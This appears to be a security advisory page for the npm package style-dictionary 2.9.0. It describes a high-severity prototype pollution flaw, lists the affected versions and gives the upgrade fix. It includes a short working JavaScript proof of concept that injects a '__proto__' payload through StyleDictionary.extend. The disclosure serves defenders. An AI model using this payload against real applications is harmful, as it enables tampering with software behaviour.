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style-dictionary@2.9.0 vulnerabilities

Style once, use everywhere. A build system for creating cross-platform styles.

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Direct Vulnerabilities

Known vulnerabilities in the style-dictionary package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

style-dictionary is a Style once, use everywhere. A build system for creating cross-platform styles.

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const StyleDictionary = require('style-dictionary');
const obj = {};
let opts = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
StyleDictionary.extend(opts);
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade style-dictionary to version 2.10.3, 3.0.0-rc.10 or higher.

<2.10.3 >=3.0.0-rc.0 <3.0.0-rc.10
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